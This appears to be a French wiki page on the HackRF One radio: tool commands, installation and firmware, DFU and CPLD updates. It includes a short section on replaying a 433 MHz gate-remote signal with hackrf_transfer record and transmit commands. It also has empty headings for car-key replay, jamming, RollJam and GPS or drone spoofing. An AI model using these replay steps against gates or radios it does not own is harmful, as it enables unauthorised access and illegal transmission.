&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils HackRF sont livrés avec un micrologiciel sur la mémoire flash SPI. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (hackrf_one_usb.bin) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour Jawbreaker, utilisez hackrf_jawbreaker_usb.bin. Si vous compilez à partir des sources, le fichier s'appellera hackrf_usb.bin.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Lorsque vous écrivez une image de micrologiciel sur la mémoire flash SPI, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;quot;.bin&amp;quot;.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash SPI, vous devrez peut-être réinitialiser le dispositif HackRF en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant HACKRF_ERROR_NOT_FOUND, il s'agit souvent d'un problème de permissions dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
=== Attaque sur Drone (DJI Mavic Mini) ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
</feed>